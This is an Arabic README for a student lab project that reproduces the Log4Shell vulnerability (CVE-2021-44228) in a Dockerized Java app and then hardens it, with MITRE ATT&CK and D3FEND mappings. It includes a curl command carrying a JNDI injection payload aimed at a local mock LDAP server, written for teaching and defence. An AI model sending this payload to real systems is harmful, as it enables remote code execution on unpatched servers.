الواجب 9 – تأمين الأنظمة ضد هجمات Log4Shell

نظرة عامة

يوضح هذا المشروع استغلال وتخفيف ثغرة Log4Shell (CVE-2021-44228) باستخدام تطبيق ويب جافا تم حوسبته (Dockerized) مع Log4j 2.14.1 القابل للاستغلال. تشمل الإعدادات أيضًا خادم LDAP ضارًا محاكيًا لإظهار مسار هجوم حقن JNDI.

بعد الاستغلال، يتم تعزيز النظام من خلال ترقية Log4j، والتحقق من صحة المدخلات، وتطبيق توصيات MITRE D3FEND و ATT&CK.

هيكل المجلدات

log4shell-homework9/
├── docker-compose.yml
├── Dockerfile
├── pom.xml
├── ldap_server.py
├── src/...
├── architecture_diagram.png
├── README.md
├── mitigation_report.pdf

كيفية التشغيل

1. بناء تطبيق Java (باستخدام Log4j القابل للاستغلال)

docker build -t vulnerable-app .

2. تشغيل التطبيق باستخدام Docker Compose

docker-compose up

سيعمل التطبيق على:
http://localhost:8080

3. بدء تشغيل خادم LDAP الوهمي (في نافذة طرفية جديدة)

python3 ldap_server.py

4. محاكاة استغلال

أرسل طلبًا كهذا إلى التطبيق:

curl http://localhost:8080?input=${jndi:ldap://localhost:8000/Exploit}

يجب أن يتلقى خادم LDAP الطلب (وهذا يحاكي استغلال JNDI).

كيف تم تعزيز النظام

بعد عرض الهجوم، تم تأمين النظام من خلال:

• ترقية Log4j إلى الإصدار 2.17.0
• التحقق من صحة المدخلات (حجب أنماط ${jndi:...})
• تعطيل عمليات بحث الرسائل في التكوين
• عزل Docker للحد من النطاق
• تطبيق تقنيات MITRE D3FEND & ATT&CK

رسم خرائط MITRE

MITRE ATT&CK:

• T1190: استغلال التطبيقات المواجهة للجمهور
• T1210: استغلال الخدمات عن بُعد

MITRE D3FEND:

• D3-IA: التحقق من صحة المدخلات
• D3-HI: كشف التسلل القائم على المضيف
• D3-DA: تعطيل الميزات غير الآمنة

التقرير

انظر mitigation_report.pdf لـ:

• بنية النظام قبل / بعد
• شرح Log4Shell
• استراتيجية التخفيف
• خطة الاستجابة للحوادث

تسجيل الشاشة

إذا لم يتم رفع الفيديو مباشرة، فهو متاح عبر الرابط الموجود في التقرير.

المؤلف

Serpil Rivas
SEAS 8405 – معماريات الأمن السيبراني
مايو 2025